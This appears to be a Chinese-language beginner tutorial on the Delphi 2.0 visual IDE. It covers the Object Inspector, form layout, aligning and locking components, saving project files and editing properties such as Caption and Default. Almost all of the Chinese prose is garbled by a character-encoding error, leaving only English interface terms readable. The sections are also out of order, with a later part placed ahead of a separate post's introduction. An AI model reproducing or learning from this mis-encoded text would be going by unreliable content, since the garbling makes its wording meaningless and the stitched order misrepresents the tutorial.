Ö»Ðè°ÑÊó±êÂäµ½ÏëÒÆ¶¯µÄ²¿¼þÉÏ£¬°´×¡×ó¼ü²¢Òƶ¯¹â±ê£¬µ½ºÏÊʵÄλÖÃÔÙÊÍ·Å×ó¼ü£¬Õû¸ö²¿¼þ¼´±»ÒƵ½ÐÂλÖá£
2¡¢µ÷Õû³ß´ç
ÏȰÑÊó±ê¹â±êÒÆ¶¯µ½Òª¸Ä±ä³ß´çµÄ²¿¼þÉÏ£¬µ¥»÷×ó¼ü£¬Ñ¡Öиò¿¼þ£¬³ß´çµ÷ÕûÆ÷»á³öÏÖ£¬°ÑÊó±êÒÆ¶¯µ½ÆäÖеÄÒ»¸öСºÚÉ«·½¿éÉÏ£¬µ±Êó±ê±ä³ÉÍ϶¯·½Ïòָʾʱ£¬°´Ï²¢Í϶¯Êó±ê×ó¼ü£¬¿ÉÒÔ·Å´ó»òËõС²¿¼þ¡£ÉÏÏÂ×óÓÒµÄС·½¿éÓÃÀ´Òƶ¯¶ÔÓ¦µÄ¸÷±ß£¬Ëĸö½ÇµÄ·½¿é¿ÉÒÔÒÆ¶¯ÏàÁ¬µÄÁ½Ìõ±ß¡£Èç¹ûÒª¾«È·µØ±íÊö²¿¼þµÄ³ß´ç£¬¿ÉÒÔÔÚObject InspectorÉÏ£¬¸Ä±äLeft(±íʾ²¿¼þ×ó±ßÔµµ½´°Ìå×ó±ß¿òµÄÏóËØµãÊý)¡¢Top(±íʾ´°ÌåÉϱ߿òµ½²¿¼þÉϱßÔµµÄÏóËØµãÊý)¡¢ Width(²¿¼þ±¾ÉíµÄ¿í¶È)¡¢Height(²¿¼þ±¾ÉíµÄ¸ß¶È)µÈÊôÐÔ¡£¹ØÓڸı䲿¼þµÄÊôÐÔ£¬ÏÂÎÄ»¹½«×Ðϸ½²½â¡£
3¡¢Ê¹µÃÒ»×鲿¼þ¶ÔÆë
Óõ÷ÕûλÖõķ½·¨¿ÉÒÔ¶ÔÆë²¿¼þ£¬µ«²Ù×÷²½Ö踴ÔÓ¡£DelphiÌṩµÄ¶ÔÆë¹¤¾ß¿ÉÒÔʹ¶à¸ö²¿¼þµÄ¶ÔÆë¼«ÎªÑ¸ËÙ·½±ã¡£ÏÂÃæÎÒÃÇÀ´Ê¹Ëĸö°´Å¥¶ÔÆë¡£ÏȽ«Ëĸö°´Å¥Ñ¡ÎªÒ»×飺°´×¡²¢ÏòÓÒÏ·½Í϶¯Êó±ê×ó¼ü£¬ÔÚ´°ÌåÉÏ»³öÎ§ÈÆËĸö°´Å¥µÄ¾ØÐΣ¬ÊÍ·Å×ó¼üºó£¬±»Ñ¡Öеİ´Å¥Öܱ߻á³öÏÖ°µ»ÒÉ«µÄ±ß¿ò¡£Ñ¡ÓÃEdit|AlignÃüÁ»òʹÓõ¯³öʽ²Ëµ¥(ÔÚ±»¹Ì¶¨µÄ²¿¼þÉϵ¥»÷Êó±êÓÒ¼ü¼¤»î)£¬¿ÉÒÔÏÔʾͼ1.4ËùʾµÄ¶Ô»°¿ò¡£
Ҫʹ°´Å¥ÑØ×ó±ß¶ÔÆë²¢Ê¹ËüÃÇÔÚ´¹Ö±·½ÏòÉϾùÔÈ·Ö²¼£¬ÏÈÔÚAlignment¶Ô»°¿òµÄHorizontalÀ¸ÄÚÑ¡Ôñ¡°Left sides¡±£¬ÔÚ¡°Vertical¡±À¸ÄÚÑ¡Ôñ¡°Space equally¡±£¬°´¶¯OK°´Å¥£¬Delphi¾Í»á×Ô¶¯½«ËüÃÇ¶ÔÆë¡£È»ºó£¬Äú¿ÉÒÔ½«ËüÃÇËĸö×÷Ϊһ×éÀ´Òƶ¯¡£ÔÚËĸö°´Å¥ÒÔÍâµÄ´°ÌåÉϰ´¶¯Êó±ê×ó¼ü£¬¾ÍÊÍ·ÅÁË×éÖеIJ¿¼þ£¬Ê¹ËüÃdzÉΪ·ÖÁ¢µÄ²¿¼þ¡£
ÀûÓÃ¶ÔÆëÄ£°åÀ´¶ÔÆë²¿¼þÒ²ÊǺܷ½±ãµÄ¡£Ê×ÏÈÒª½«Òª¶ÔÆëµÄ²¿¼þÑ¡³ÉÒ»×飬ѡÔñView|Alignment PaletteÏÔʾ¶ÔÆëÄ£°å¡£°´ÕÕËùʾµÄ·½Ê½Ñ¡Ôñ¼´¿É´ïµ½¶ÔÆëµÄÄ¿µÄ
4¡¢Ëø¶¨²¿¼þ
Èç¹û²¿¼þÒѾ¶ÔÆë£¬Îª·ÀÖ¹²»Ð¡ÐÄÒÆ¶¯²¿¼þ£¬¿ÉÒÔ½«²¿¼þλÖÃËø¶¨¡£Ñ¡ÔñÖ÷²Ëµ¥ÉϵÄEdit|Lock ControlsÑ¡ÏʹµÃ²¿¼þ²»ÄܽøÐÐÒÆ¶¯²Ù×÷¡£½âËøÖ»ÐèÔÙ´ÎÑ¡Ôñ´ËÏî¼´¿É¡£
µ÷Õû¡°Shape¡±²¿¼þµÄ´óС£¬Ê¹Ö®ÓëÓұߵİ´Å¥×éÏàÆ¥Åä¡£Ôٸı䴰ÌåµÄ´óС£¬°´×¡²¢Í϶¯´°ÌåÓÒÏ·½Ê¹Ö®¸ÕºÃ°üÈÝ´°ÌåÉϵÄÈ«²¿²¿¼þ¡£ÕâÑù£¬ÄúµÄÓû§½çÃæ¾Í»á±È½ÏÃÀ¹Û¡£¡¡
1.2.3.3 ±£´æËù×öµÄ¹¤×÷¡¡
¼°Ê±µØ±£´æËù×öµÄ¹¤×÷ÖÁ¹ØÖØÒª¡£¶ÔÉè¼ÆÕßÀ´½²£¬ÓÐÁ½¸öÎļþÐèÒª±£´æ£º¿âµ¥ÔªÎļþ(ÒÔ.PASΪºó׺)ºÍ¹¤³ÌÎļþ(ÒÔ.DPRΪºó׺)¡£
´ÓÖ÷²Ëµ¥ÉÏÑ¡ÔñFile|Save Project As...ÏDelphi»áÏÔʾ±êÌâΪ¡°Save Unit1 As¡±µÄÎļþ±£´æ¶Ô»°¿ò£¬Delphi 2.0 ÔÊÐíÓû§¸ü¸Ä´æ´¢Â·¾¶£¬Äú¿ÉÒÔÔÚÏÂÀʽÁбí¿òÖÐÑ¡Ôñ¡£×îºÃ½«ÄúµÄÎļþ±£´æÔÚ×Ô¼ºµÄĿ¼ÖС£Ôڱ༿òÖмüÈëdemoform.pasÒÔ±£´æ¿âµ¥ÔªÎļþ£»È»ºóÏÔʾ±êÌâΪ¡°Save Project As¡±µÄÁíÒ»¸öÎļþ±£´æ¶Ô»°¿ò£¬¼üÈësample.dpr¡£Delphi±£´æÕâÁ½¸öÎļþ²¢·µ»Ø´°Ìå´°¿Ú¡£²»Òª°Ñ¿âµ¥ÔªºÍ¹¤³Ì´æ³ÉÒ»ÑùµÄÎļþÃû£¬DelphiÒªÇóÁ½Õß²»Í¬¡£
µÚÒ»´Î±£´æºó£¬ÒÔºó¿ÉÒÔËæÊ±Í¨¹ýSpeed BarÖеġ°Save All¡±ºÍ¡°Save file¡±À´±£´æ¹¤³ÌÎļþºÍ¿âµ¥ÔªÎļþ¡£Ò»°ãÀ´½²£¬µ±È·ÈÏÎļþµÄ¸Ä±äºó£¬ÒªÍ¬Ê±´æ´¢ÕâÁ½¸öÎļþ¡£¡¡
1.2.3.4 ÔËÐй¤³Ì¡¡
ÒÔÉϵIJÙ×÷ʹÄúÓÐÁËÒ»¸ö×Ô¼ºµÄÓ¦ÓóÌÐò½çÃæ¡£ÔÚËÙ¶ÈÌõÖа´¶¯¡°Run¡±°´Å¥(»æÓÐÂÌÉ«Èý½Çͼ±ê)£¬Äú¿ÉÒÔ¿´µ½£¬ËùÉú³ÉµÄ½çÃæÓëÄúÉè¼ÆµÄ½çÃæÊÇÍêȫһÖµġ£¡¡
1.2.4 ¸Ä±ä¶ÔÏóµÄÊôÐÔ
ÉÏÊöµÄ¹¤³ÌËäÄܹ»ÔËÐУ¬µ«Ëü¶ÔÄúµÄ°´¶¯°´Å¥²Ù×÷ÊÇûÓÐʲô·´Ó¦µÄ£¬¶øÇÒ£¬ËùÓв¿¼þÉÏ»¹Ð´×ÅÎÒÃDz»ÐèÒªµÄ×ÖÑù¡£Ë«»÷´°¿ÚµÄ¹Ø±Õ°´Å¥½áÊøÔËÐУ¬»Øµ½Éè¼Æ½çÃæ¡£ÏÂÃæ£¬ÎÒÃǽ«×Ðϸ½²ÊöÈçºÎÔÚObject InspectorÖиı䲿¼þµÄ¸÷ÖÖÊôÐÔ¡£¡¡
1.2.4.1 ÓÃPropertiesÒ³¸Ä±ä²¿¼þµÄÊôÐÔÖµ¡¡
Ê×ÏÈÒª¸Ä±ä¸÷ÖÖ²¿¼þµÄ±êÌâ¡£Ïȸø´°¿ÚÃüÃûΪ¡°Demo¡±¡£°´¶¯Object InspectorÉ϶˵ÄObject SelectorµÄÌâÌõ»òÕ߯äÓҶ˵ÄÏÂÀ±êÖ¾£¬ÕÒµ½Form1Ï²¢µã¶¯×ó¼ü£¬´°Ì屻ѡÖС£ÔÚObject InspectorµÄPropertiesÒ³ÖУ¬ÕÒµ½CaptionÊôÐÔ²¢ÓÃ×ó¼üÑ¡ÖУ¬½«ÆäÓҶ˵ÄForm1¸ÄΪDemo,ͬʱ£¬Äú»á·¢ÏÖ´°ÌåµÄ±êÌâÒѾÏàÓ¦µØ×öÁ˸ı䡣
ÓÃÊó±êµãÖд°ÌåÖеÄShape²¿¼þ£¬Object InspectorÁгöÁËËüµÄÊôÐÔ¡£Ñ¡ÖÐShapeÊôÐÔ£¬Äú»á·¢ÏÖÓҶ˳öÏÖÁËÏÂÀ±êÖ¾¡£µã¶¯ÕâÒ»±êÖ¾£¬¿ÉÒԲ鿴¶ÔÏóµÄShapeÊôÐÔ¿Éѡֵ¡£ËüµÄÐÎ×´¿ÉÒÔÊǾØÐΡ¢Ô²ÐΡ¢Ô²½Ç¾ØÐΡ¢·½Ðεȼ¸ÖÖ¡£ÕâÊÇÎÒÃÇÉè¼ÆºóÐø¹¦ÄܵĻù´¡¡£
Ñ¡ÖÐButton1°´Å¥£¬´ËʱObject InspectorÒѾÏÔʾ³ö´Ë°´Å¥µÄÒ»Ó¦ÊôÐÔ¡£½«ËüµÄCaptionÊôÐÔ¸ÄΪ¡°&Rectangle¡±,¡°&¡±ºÅʹµÃDelphiÌØÊâ´¦ÀíËüºóÃæµÄ×Ö·û£¬ÔÚÕâÀ°´Å¥ÖеÄR×Öĸ±»×öÁËÏ»®Ïß´¦Àí£¬ÔËÐÐʱ£¬¿ÉÒÔÓá°Alt-R¡±ÈȼüÀ´°´¶¯ÕâÒ»°´Å¥¡£Í¬Ñù£¬Äú¿ÉÒÔ½«ÆäËüµÄÁ½¸ö°´Å¥Button2ºÍButton3µÄCaptionÊôÐԸijÉÐèÒªµÄÐÎ״ָʾ£¬Æ©Èç¡°&RoundRec¡±¡¢¡°&Ellipse¡±¡£¡¡
1.2.4.2 ÉèÖô°ÌåµÄȱʡ°´Å¥¡¡
¿ÉÒÔ°Ñij¸ö°´Å¥×÷Ϊ´°¿ÚÉϵÄȱʡ°´Å¥£¬Delphi»áΪ°´Å¥¼ÓÉÏÓкÚÉ«µÄ±ßÔµ¡£ÔËÐÐʱ£¬»Ø³µ¼´Ï൱ÓÚ±»°´Ï¡£Ö»Ð轫´Ë°´Å¥µÄDefaultÊôÐÔ´ÓFalse¸Ä³ÉTrue£¬¼´½«ËüÉèΪ´°ÌåµÄȱʡ°´Å¥¡£µã¶¯DefaultÊôÐÔ£¬ÔÚÓҶ˵ÄÖµºóÃæË«»÷×ó¼ü£¬»ò´ÓÏÂÀ²Ëµ¥ÖÐѡȡTrue£¬¼´¿É¸Ä±äÕâÒ»ÊôÐÔ¡£DelphiÖÐÓÐÐí¶àÖ»ÓÐTrue¡¢FalseÁ½¸öÊôÐԵIJ¿¼þ£¬Ë«»÷×ó¼ü¿ÉÒÔÔÚÕâÁ½¸öÖµÖ®¼äÇл»¡£
¡¡
-
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Ò»£©
2007-05-28 16:16:37
DelphiÊÇȫеĿÉÊÓ»¯±à³Ì»·¾³£¬ÎªÎÒÃÇÌṩÁËÒ»ÖÖ·½±ã¡¢¿ì½ÝµÄWindowsÓ¦ÓóÌÐò¿ª·¢¹¤¾ß¡£ËüʹÓÃÁËMicrosoft WindowsͼÐÎÓû§½çÃæµÄÐí¶àÏȽøÌØÐÔºÍÉè¼ÆË¼Ï룬²ÉÓÃÁ˵¯ÐÔ¿ÉÖØ¸´ÀûÓõÄÍêÕûµÄÃæÏò¶ÔÏó³ÌÐòÓïÑÔ(Object-Oriented Language)¡¢µ±½ñÊÀ½çÉÏ×î¿ìµÄ±à¼Æ÷¡¢×îΪÁìÏȵÄÊý¾Ý¿â¼¼Êõ¡£¶ÔÓÚ¹ã´óµÄ³ÌÐò¿ª·¢ÈËÔ±À´½²£¬Ê¹ÓÃDelphi¿ª·¢Ó¦ÓÃÈí¼þ£¬ÎÞÒÉ»á´ó´óµØÌá¸ß±à³ÌЧÂÊ£¬¶øÇÒËæ×ÅÓ¦ÓõÄÉîÈ룬Äú½«»á·¢ÏÖ±à³Ì²»ÔÙÊÇ¿ÝÔïÎÞζµÄ¹¤×÷¡ª¡ªDelphiµÄÿһ¸öÉè¼ÆÏ¸½Ú£¬¶¼½«´ø¸øÄúÒ»·ÝÐÀϲ¡£¡¡
1.1 Delphi»ù±¾¸ÅÄî½éÉÜ¡¡
1.1.1 DelphiµÄ»ù±¾ÐÎʽ¡¡
Delphiʵ¼ÊÉÏÊÇPascalÓïÑÔµÄÒ»ÖÖ°æ±¾£¬µ«ËüÓ봫ͳµÄPascalÓïÑÔÓÐÌìÈÀÖ®±ð¡£Ò»¸öDelphi³ÌÐòÊ×ÏÈÊÇÓ¦ÓóÌÐò¿ò¼Ü£¬¶øÕâÒ»¿ò¼ÜÕýÊÇÓ¦ÓóÌÐòµÄ¡°¹Ç¼Ü¡±¡£ÔڹǼÜÉϼ´Ê¹Ã»Óи½×ÅÈκζ«Î÷£¬ÈÔ¿ÉÒÔÑϸñµØ°´ÕÕÉè¼ÆÔËÐС£ÄúµÄ¹¤×÷Ö»ÊÇÔÚ¡°¹Ç¼Ü¡±ÖмÓÈëÄúµÄ³ÌÐò¡£È±Ê¡µÄÓ¦ÓóÌÐòÊÇÒ»¸ö¿Õ°×µÄ´°Ìå(Form)£¬Äú¿ÉÒÔÔËÐÐËü£¬½á¹ûµÃµ½Ò»¸ö¿Õ°×µÄ´°¿Ú¡£Õâ¸ö´°¿Ú¾ßÓÐWindows´°¿ÚµÄÈ«²¿ÐÔÖÊ£º¿ÉÒÔ±»·Å´óËõС¡¢Òƶ¯¡¢×î´ó×îС»¯µÈ£¬µ«ÄúȴûÓбàдһÐгÌÐò¡£Òò´Ë£¬¿ÉÒÔ˵ӦÓóÌÐò¿ò¼Üͨ¹ýÌṩËùÓÐÓ¦ÓóÌÐò¹²ÓеĶ«Î÷£¬ÎªÓû§Ó¦ÓóÌÐòµÄ¿ª·¢´òÏÂÁËÁ¼ºÃµÄ»ù´¡¡£DelphiÒѾΪÄú×öºÃÁËÒ»Çлù´¡¹¤×÷¡ª¡ª³ÌÐò¿ò¼Ü¾ÍÊÇÒ»¸öÒѾÍê³ÉµÄ¿ÉÔËÐÐÓ¦ÓóÌÐò£¬Ö»ÊDz»´¦ÀíÈκÎÊÂÇé¡£ÄúËùÐèÒª×öµÄ£¬Ö»ÊÇÔÚ³ÌÐòÖмÓÈëÍê³ÉÄúËùÐ蹦ÄܵĴúÂë¶øÒÑ¡£
ÔÚ¿Õ°×´°¿ÚµÄ±³ºó£¬Ó¦ÓóÌÐòµÄ¿ò¼ÜÕýÔڵȴýÓû§µÄÊäÈë¡£ÓÉÓÚÄú²¢Î´¸æËßËü½ÓÊÕµ½Óû§ÊäÈëºó×÷ºÎ·´Ó¦£¬´°¿Ú³ýÁËÏìÓ¦WindowsµÄ»ù±¾²Ù×÷(ÒÆ¶¯¡¢Ëõ·ÅµÈ)Í⣬ËüÖ»ÊǽÓÊÜÓû§µÄÊäÈ룬ȻºóÔÙºöÂÔ¡£Delphi°ÑWindows±à³ÌµÄ»Øµ÷¡¢¾ä±ú´¦ÀíµÈ·±¸´¹ý³Ì¶¼·ÅÔÚÒ»¸ö²»¿É¼ûµÄRomulam¸²¸ÇÎïÏÂÃæ£¬ÕâÑùÄú¿ÉÒÔ²»ÎªËüÃÇËùÀ§ÈÅ£¬ÇáËÉ´ÓÈݵضԿÉÊÓ²¿¼þ½øÐбà³Ì¡£
1.1.2 ÃæÏò¶ÔÏó±à³ÌµÄ¸ÅÄî¡¡
ÃæÏò¶ÔÏóµÄ³ÌÐòÉè¼Æ(Object-Oriented Programming£¬¼ò¼ÇΪOOP)ÊÇDelphiµ®ÉúµÄ»ù´¡¡£OOPÁ¢ÒâÓÚ´´½¨Èí¼þÖØÓôúÂ룬¾ß±¸¸üºÃµØÄ£ÄâÏÖʵÊÀ½ç»·¾³µÄÄÜÁ¦£¬ÕâʹËü±»¹«ÈÏΪÊÇ×ÔÉ϶øÏ±à³ÌµÄÓÅʤÕß¡£Ëüͨ¹ý¸ø³ÌÐòÖмÓÈëÀ©Õ¹Óï¾ä£¬°Ñº¯Êý¡°·â×°¡±½øWindows±à³ÌËù±ØÐèµÄ¡°¶ÔÏó¡±ÖС£ÃæÏò¶ÔÏóµÄ±à³ÌÓïÑÔʹµÃ¸´ÔӵŤ×÷ÌõÀíÇåÎú¡¢±àдÈÝÒס£ËµËüÊÇÒ»³¡¸ïÃü£¬²»ÊǶԶÔÏó±¾Éí¶øÑÔ£¬¶øÊǶÔËüÃÇ´¦Àí¹¤×÷µÄÄÜÁ¦¶øÑÔ¡£¶ÔÏó²¢²»Ó봫ͳ³ÌÐòÉè¼ÆºÍ±à³Ì·½·¨¼æÈÝ£¬Ö»ÊDz¿·ÖÃæÏò¶ÔÏó·´¶ø»áʹÇéÐθüÔã¡£³ý·ÇÕû¸ö¿ª·¢»·¾³¶¼ÊÇÃæÏò¶ÔÏóµÄ£¬·ñÔò¶ÔÏó²úÉúµÄºÃ´¦»¹Ã»ÓдøÀ´µÄÂé·³¶à¡£¶øDelphiÊÇÍêÈ«ÃæÏò¶ÔÏóµÄ£¬Õâ¾ÍʹµÃDelphi³ÉΪһÖÖ´¥Êֿɼ°µÄ´Ù½øÈí¼þÖØÓõĿª·¢¹¤¾ß£¬´Ó¶ø¾ßÓÐÇ¿´óµÄÎüÒýÁ¦¡£
һЩÔçÆÚµÄ¾ßÓÐOOPÐÔÄܵijÌÐòÓïÑÔÈçC++,Pascal,SmalltalkµÈ£¬ËäÈ»¾ßÓÐÃæÏò¶ÔÏóµÄÌØÕ÷£¬µ«²»ÄÜÇáËɵػ³ö¿ÉÊÓ»¯¶ÔÏó£¬ÓëÓû§½»»¥ÄÜÁ¦½Ï²î£¬³ÌÐòÔ±ÈÔȻҪ±àд´óÁ¿µÄ´úÂë¡£DelphiµÄÍÆ³ö£¬Ìî²¹ÁËÕâÏî¿Õ°×¡£Äú²»±Ø×Ô¼º½¨Á¢¶ÔÏó£¬Ö»ÒªÔÚÌṩµÄ³ÌÐò¿ò¼ÜÖмÓÈëÍê³É¹¦ÄܵĴúÂ룬ÆäÓàµÄ¶¼½»¸øDelphiÈ¥×ö¡£ÓûÉú³ÉƯÁÁµÄ½çÃæºÍ½á¹¹Á¼ºÃµÄ³ÌÐòË¿ºÁ²»±Ø½Ê¾¡ÄÔÖ£¬Delphi½«°ïÖúÄúÇáËɵØÍê³É¡£ËüÔÊÐíÔÚÒ»¸ö¾ßÓÐÕæÕýOOPÀ©Õ¹µÄ¿ÉÊÓ»¯±à³Ì»·¾³ÖУ¬Ê¹ÓÃËüµÄObject PascalÓïÑÔ¡£ÕâÖÖ¸ïÃüÐÔµÄ×éºÏ£¬Ê¹µÃ¿ÉÊÓ»¯±à³ÌÓëÃæÏò¶ÔÏóµÄ¿ª·¢¿ò¼Ü½ôÃܵؽáºÏÆðÀ´¡£
1.2 Delphi ¿ìËÙÈëÃÅ¡¡
ÔÚÕâÒ»½ÚÖУ¬ÎÒÃÇÀ´¿ª·¢Ò»¸öС³ÌÐò¡£Ëæ×Å¿ª·¢µÄ¹ý³Ì£¬Öð²½½éÉÜDelphiµÄÖ÷Òª²¿¼þ¼°Æä²Ù×÷·½·¨¡£½¨Òé¶ÁÕß°´ÕÕ±¾Êé½éÉܵĹý³Ì£¬ÔÚÄúµÄµçÄÔÉÏÖ±½Ó²Ù×÷¡£Äú½«¶ÔDelphiµÄ¿ÉÊÓ»¯±à³ÌÓÐÒ»¸öÖ±¹Û¡¢¿ì½ÝµÄÁ˽⣬±Ø½«Æðµ½Ê°빦±¶µÄЧ¹û¡£¡¡
1.2.1 ½øÈëDelphiµÄ¿ÉÊÓ»¯±à³Ì»·¾³
1.2.1.1 °²×°Delphi¡¡
DelphiµÄ°²×°ÓëÆäËüÓ¦ÓÃÈí¼þ²¢ÎÞ²»Í¬¡£2.0°æ±ØÐëÔÚWindows 95ÒÔÉϵIJÙ×÷ϵͳÖÐʹÓá£Æô¶¯Windows 95»òWindows NTºó£¬½«DelphiµÄ¹âÅÌ·ÅÈë¹âÇý(CD-ROM)ÖУ¬ÔËÐйâÅÌÉϵÄ\INSTALL\SETUP.EXEÎļþ£¬ËüµÄ°²×°³ÌÐò»áÌáʾÄúÕýÈ·µØ×°ÈëDelphi¡£Èç¹ûÄúÊÇÔÚ΢ÈíÖÐÎÄWindows»·¾³Öа²×°Delphi£¬Çë²ÎÕÕ¸½Â¼AÀ´ÉèÖÃÄúµÄBDE»·¾³£¬ÒÔ±ãÓÚ´¦ÀíÖÐÎÄÊý¾Ý¡£¡¡
1.2.1.2 ½øÈëDelphi »·¾³
Ϊ±ÜÃâÒþ²ØÔÚDelphiºóµÄProgram ManagerºÍÔø¾ÔËÐйýµÄÆäËü³ÌÐòÈÅÂÒ°æÃ棬·ÖÉ¢ÄúµÄ×¢ÒâÁ¦£¬²»·ÁÔÚÆô¶¯Delphiǰ¹ØµôÆäËüÓ¦ÓóÌÐò£»Æô¶¯Delphiºó£¬ÔÙ×îС»¯Òþ²ØÔÚºóÃæµÄDelphi 2.0³ÌÐò×é¡£ÕâÑùÆÁÄ»ÉϾÍÖ»ÁôÏÂDelphi´°¿Ú¿É¼ûÁË¡£
Ê״μÓÔØDelphi£¬ÆÁÄ»ÉÏ»á³öÏÖËĸö´°¿Ú£º
¡ñ ±êÌâΪ¡°Delphi-Project1¡±µÄDelphiÖ÷´°¿Ú
¡ñ Object Inspector´°¿Ú
¡ñ ±êÌâΪ¡°Form1¡±µÄ´°Ìå(Form)´°¿Ú
¡ñ ±êÌâΪ¡°Unit1.PAS¡±µÄ´úÂë±à¼´°¿Ú¡£¸ÕÆô¶¯Ê±ÕâÒ»´°¿ÚµÄ´ó²¿·Ö±»¡°Form1¡±´°ÌåËùÑڸǡ£½«¡°Form1¡±´°ÌåÒÆ¿ª£¬»òµ¥»÷Form1´°ÌåÏ·½µÄ״̬ÐУ¬¿ÉÒÔʹÆäÈ«²¿¿É¼û¡£ÔÚ¡°Form1¡±´°ÌåµÄÈÎÒâ¿É¼ûλÖõ¥»÷Êó±ê£¬¿ÉÒÔ»Ö¸´Ö÷´°Ìå¿É¼û
ÒÔÏÂÎÒÃǽ«¶ÔÕâËĸö´°¿Ú·Ö±ð½øÐнéÉÜ¡£¡¡
1.2.2 Delphi¿ÉÊÓ»¯±à³Ì»·¾³½éÉÜ¡¡
1.2.2.1 Ö÷´°¿Ú(Main Form)¡¡
DelphiµÄÖ÷´°¿ÚλÓÚÆÁÄ»µÄÉ϶ˣ¬°üÀ¨Menu(²Ëµ¥)¡¢Speed Bar(¼ÓËÙÌõ)ºÍComponent Panel(²¿¼þÑ¡Ïî°å)¡£MenuÊÇÏÂÀʽÖ÷²Ëµ¥¡£Speed BarλÓÚÖ÷´°¿ÚµÄ×ó϶ˣ¬ÓÉÁ½Åʲ14¸ö¼ÓËÙ°´Å¥×é³É¡£ÕâЩ°´Å¥ÊDz˵¥¹¦ÄܵĿì½Ý·½Ê½£¬¸÷ÖÖͼ±êÖ±¹ÛµØ±íʾÁËËüÄÜÖ´Ðе͝×÷¡£Component PanelÓÉÒ»ÐС¢Èô¸ÉÒ³¶ÔÏó°´Å¥Ëù×é³É£¬ÀûÓÃËüÀ´Ñ¡ÔñÐèÒªµÄ²¿¼þ²¢½«Ëü·Åµ½´°ÌåÖÐÈ¥¡£¡¡
1.2.2.2 Object Inspector(¶ÔÏó¼ìÊÓÆ÷)¡¡
Object Inspector´°¿Úº¬ÓÐÁ½Ò³£ºPropertiesÒ³ÏÔʾ´°ÌåÖе±Ç°±»Ñ¡Ôñ²¿¼þµÄÊôÐÔÐÅÏ¢£¬²¢ÔÊÐí¸Ä±ä¶ÔÏóµÄÊôÐÔ£»EventsÒ³ÁгöÁ˵±Ç°²¿¼þ¿ÉÒÔÏìÓ¦µÄʼþ¡£°´¶¯Object Inspector϶˵ġ°Events¡±Ò³±êÇ©£¬Ê¹µÃEventsÒ³¿É¼û£¬ÕâÒ»¶¨µÄʼþºó±ßµÄ¿Õ°×´¦£¬¿ÉÒÔ¶¨Òå¶ÔÏó½ÓÊܵ½ÏàӦʼþʱִÐе͝×÷¡£Ê×´ÎÆô¶¯Ê±£¬Object Inspector´°¿ÚÏÔʾµÄÊǵ±Ç°´°ÌåForm1µÄÊôÐÔ¡£Object Inspector¸ù¾Ý¶ÔÏóÊôÐԵĶàÉÙ£¬¾ö¶¨ÊÇ·ñÓйöÐÐÏÔʾ¡£Òƶ¯¹öÐÐÌõ£¬¿ÉÒԲ鿴µ±Ç°¶ÔÏóµÄÈ«²¿ÊôÐÔ¡£
´ËÍ⣬Object InspectorÉÏ»¹ÓÐObject Selector(¶ÔÏóÑ¡ÔñÆ÷)£¬Î»ÓÚObject InspectorÉÏ·½µÄÏÂÀʽ²Ëµ¥ÖС£ËüÏÔʾÁË´°ÌåÉÏËùÓв¿¼þµÄÃû³ÆºÍÀàÐÍ£¬Ò²°üº¬´°Ìå±¾Éí¡£Äú¿ÉÒÔÓÃObject SelectorºÜÈÝÒ×µØÔÚ´°ÌåµÄ¸÷¸ö²¿¼þÖ®¼äÇл»£¬Ò²¿ÉÒÔ¿ìËٵػص½´°Ìå±¾Éí¡£µ±´°ÌåÖк¬Óн϶àµÄ¶ÔÏóʱ£¬Äú»á·¢ÏÖÕâÊÇÇл»¶ÔÏóÓÈÆäÊǻص½´°ÌåµÄ×î¿ì½Ý;¾¶¡£
ÏëʹObject InspectorÒ»Ö±¿É¼û£¬¿É½«Êó±êÒÆµ½Object InspectorÉÏ£¬°´¶¯ÓÒ¼ü£¬ÒÔÆô¶¯Object InspectorµÄµ¯³öʽ²Ëµ¥£¬½«ÆäÉèÖÃΪStay On Top¡£Õâ¶Ô³õѧÕß³£ÊÇÒ»¸öºÜÖØÒªµÄÉèÖ÷½Ê½¡£¡¡
1.2.2.3 ´°Ìå´°¿Ú¡¡
Forms´°¿ÚÊÇ¿ªÕ¹´ó²¿·ÖÉè¼ÆµÄ¹¤×÷ÇøÓò¡£Ê×´ÎÆô¶¯Delphi 2.0ʱÏÔʾµÄÊÇ´°ÌåForm1¡£¿ÉÒ԰Ѳ¿¼þ·ÅÔÚ´°ÌåÖУ¬Í¨¹ýÒÆ¶¯Î»Öᢸıä³ß´çµÈ²Ù×÷ËæÐÄËùÓûµØ°²ÅÅËüÃÇ£¬ÒÔ´ËÀ´¿ª·¢Ó¦ÓóÌÐòµÄÓû§½çÃæ¡£Äú¿ÉÒÔ°Ñ´°ÌåÏëÏó³ÉÒ»¸ö¿ÉÒÔ·ÅÖÃÆäËü²¿¼þµÄÈÝÆ÷¡£´°ÌåÉÏÓÐÕ¤¸ñ(Grids)£¬¹©·ÅÖò¿¼þʱ¶ÔÆëλÖÃÓã¬ÔÚ³ÌÐòÔËÐÐʱGridsÊDz»¿É¼ûµÄ¡£
Ò»¸öÕæÕýµÄÓ¦ÓóÌÐò¿ÉÄÜÓв»Ö¹Ò»¸ö´°¿Ú£¬Äú¿ÉÒÔÑ¡Óò»Í¬µÄ´°Ìå½øÐÐÉè¼Æ¡£ÆäËü´°Ìå¿ÉÒÔÊǶԻ°¿ò(Dialog Box)¡¢Êý¾Ý¼Èë¿òµÈ¡£¡¡
1.2.2.4 ´úÂë´°¿Ú¡¡
´úÂë´°¿ÚÒ»¿ªÊ¼´¦ÓÚ´°Ìå´°¿Ú֮ϡ£ÒòΪÔÚDelphiÖУ¬Éè¼ÆÓû§½çÃæÖ±½ÓÔÚ´°ÌåÖнøÐУ¬ÔËÐнá¹ûºÍÉè¼ÆÑù°åÍêȫһÖ¡£µ±²¿¼þ±»·Åµ½´°ÌåÉÏʱ£¬Delphi»á×Ô¶¯Éú³É´ó²¿·ÖµÄÓû§½çÃæ´úÂë¡£ÄúËùÓ¦×öµÄÖ»ÊÇÔÚËüΪÄúÉú³ÉµÄ¿ò¼ÜÖмÓÈëÍê³ÉËùÐ蹦ÄܵijÌÐò¶Î¶øÒÑ¡£µã¶¯Form1µÄ״̬ÐÐʹ´úÂë´°¿Ú¿É¼û¡£
